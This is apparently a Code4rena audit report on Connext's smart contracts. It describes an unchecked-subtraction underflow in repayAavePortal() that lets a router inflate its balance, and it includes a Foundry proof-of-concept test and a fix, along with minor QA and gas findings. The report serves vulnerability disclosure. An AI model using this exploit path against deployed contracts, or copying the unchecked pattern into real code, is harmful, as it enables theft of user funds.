Connext Amarok contest - Ruhum's results

Lines of code

https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/PortalFacet.sol#L80-L113

Vulnerability details

Impact

The caller of repayAavePortal() can trigger an underflow to arbitrarily increase the caller's balance through an underflow.

Proof of Concept

// Relevant code sections:

// PortalFacet.sol
  function repayAavePortal(
    address _local,
    uint256 _backingAmount,
    uint256 _feeAmount,
    uint256 _maxIn,
    bytes32 _transferId
  ) external {
    uint256 totalAmount = _backingAmount + _feeAmount; // in adopted
    uint256 routerBalance = s.routerBalances[msg.sender][_local]; // in local

    // Sanity check: has that much to spend
    if (routerBalance < _maxIn) revert PortalFacet__repayAavePortal_insufficientFunds();

    // Need to swap into adopted asset or asset that was backing the loan
    // The router will always be holding collateral in the local asset while the loaned asset
    // is the adopted asset

    // Swap for exact `totalRepayAmount` of adopted asset to repay aave
    (bool success, uint256 amountIn, address adopted) = AssetLogic.swapFromLocalAssetIfNeededForExactOut(
      _local,
      totalAmount,
      _maxIn
    );

    if (!success) revert PortalFacet__repayAavePortal_swapFailed();

    // decrement router balances
    unchecked {
      s.routerBalances[msg.sender][_local] -= amountIn;
    }

    // back loan
    _backLoan(_local, _backingAmount, _feeAmount, _transferId);
  }

// AssetLogic.sol
  function swapFromLocalAssetIfNeededForExactOut(
    address _asset,
    uint256 _amount,
    uint256 _maxIn
  )
    internal
    returns (
      bool,
      uint256,
      address
    )
  {
    AppStorage storage s = LibConnextStorage.connextStorage();

    // Get the token id
    (, bytes32 id) = s.tokenRegistry.getTokenId(_asset);

    // If the adopted asset is the local asset, no need to swap
    address adopted = s.canonicalToAdopted[id];
    if (adopted == _asset) {
      return (true, _amount, _asset);
    }

    return _swapAssetOut(id, _asset, adopted, _amount, _maxIn);
  }

First, call repayAavePortal() where _backingAmount + _feeAmount > s.routerBalances[msg.sender][_local] && _maxIn > s.routerBalances[msg.sender][_local]. That will trigger the call to the AssetLogic contract:

    (bool success, uint256 amountIn, address adopted) = AssetLogic.swapFromLocalAssetIfNeededForExactOut(
      _local,
      totalAmount,
      _maxIn
    );

By setting _local to the same value as the adopted asset, you trigger the following edge case:

    address adopted = s.canonicalToAdopted[id];
    if (adopted == _asset) {
      return (true, _amount, _asset);
    }

So the amountIn value returned by swapFromLocalAssetIfNeededForExactOut() is the totalAmount value that was passed to it. And totalAmount == _backingAmount + _feeAmount.

Meaning the amountIn value is user-specified for this edge case. Finally, we reach the following line:

    unchecked {
      s.routerBalances[msg.sender][_local] -= amountIn;
    }

amountIn (user-specified) is subtracted from the routerBalances in an unchecked block. Thus, the attacker is able to trigger an underflow and increase their balance arbitrarily high. The repayAavePortal() function only verifies that routerBalance < _maxIn.

Here's a test as PoC:

// PortalFacet.t.sol

  function test_PortalFacet_underflow() public {
    s.routerPermissionInfo.approvedForPortalRouters[router] = true;

    uint backing = 2 ether;
    uint fee = 10000;
    uint init = 1 ether;

    s.routerBalances[router][_local] = init;
    s.portalDebt[_id] = backing;
    s.portalFeeDebt[_id] = fee;

    vm.mockCall(s.aavePool, abi.encodeWithSelector(IAavePool.backUnbacked.selector), abi.encode(true));
    vm.prank(router);
    this.repayAavePortal(_local, backing, fee, init - 0.5 ether, _id);

    // balance > init => underflow
    require(s.routerBalances[router][_local] > init);
  }

Tools Used

none

Recommended Mitigation Steps

After the call to swapFromLocalAssetIfNeededForExactOut() you should add the following check:

if (_local == adopted) {
  require(routerBalance >= amountIn);
}

Lines of code

https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/BridgeFacet.sol#L1029

Vulnerability details

Impact

As you described in your own comment, certain ERC20 tokens, e.g. USDT, don't allow you to set a new allowance if the existing one is not 0. If, as you say, backUnbacked() doesn't pull all the funds, you will run into a scenario where further calls to _reconcileProcessPortal() will fail.

Proof of Concept

https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/facets/BridgeFacet.sol#L1029

Tools Used

none

Recommended Mitigation Steps

Set the allowance to 0 first before approving the new value.

Report

01: PromiseRouter.initialize() doesn't initialize the ReentrancyUpgradable dependency

In your initialize() function you should also call the initialize() functions of all the other contracts you inherit. In this case, the ReentrancyGuardUpgradable one is missing.

Relevant code:

• https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/promise/PromiseRouter.sol#L146

02: Use a two-step process for critical address changes

You already do that in a couple of spots. But, some are missing. For example, the ConnextPriceOracle contract doesn't use it to change the admin address

Relevant code:

• https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/helpers/ConnextPriceOracle.sol#L168

03: Multiple open TODOs

Throughout the codebase there are multiple open TODOs.

.//contracts_forge/core/connext/facets/RoutersFacet.t.sol:53:  // TODO: test modifiers? onlyRouterOwner, onlyProposedRouterOwner, etc.
.//contracts_forge/core/connext/facets/BridgeFacet.t.sol:468:        // TODO: For some reason, balance isn't changing. Perhaps the vm.mockCall prevents this?
.//contracts_forge/core/connext/facets/BridgeFacet.t.sol:1310:  // TODO: fails if destination domain does not have an xapp router registered
.//contracts_forge/core/connext/facets/AssetFacet.t.sol:147:  // TODO: test_adminFunctions__onlyOwner ??
.//contracts_forge/core/connext/facets/RelayerFacet.t.sol:44:  // TODO: onlyRelayerFeeRouter
.//contracts_forge/Connext.t.sol:352:    // TODO Correctly calculate the message
.//contracts/core/connext/facets/BridgeFacet.sol:496:      // TODO: do we want to store a mapping of custodied token balances here?
.//contracts/core/connext/facets/BridgeFacet.sol:583:      // TODO: do we need to keep this
.//contracts/core/connext/facets/BridgeFacet.sol:1031:    // TODO: Should we call approve(0) and approve(totalRepayAmount) instead? or with a try catch to not affect gas on all cases?
.//contracts/core/connext/libraries/LibConnextStorage.sol:304:  // BridgeFacet (cont.) TODO: can we move this
.//contracts/core/connext/helpers/Executor.sol:7:// TODO: see note in below file re: npm
.//contracts/nomad-core/contracts/upgrade/UpgradeBeaconController.sol:17:// TODO: upgrade to `ProposedOwnable`
.//contracts/nomad-core/libs/ExcessivelySafeCall.sol:7:// TODO: Update to npm version when these changes are reflected

Gas Report

G-01: pack your structs

Packing structs will reduce gas consumption, see https://dev.to/javier123454321/solidity-gas-optimizations-pt-3-packing-structs-23f4

Relevant code:

• https://github.com/code-423n4/2022-06-connext/blob/main/contracts/contracts/core/connext/libraries/LibConnextStorage.sol#L38-L51 There are probably a lot more instances. Better check them all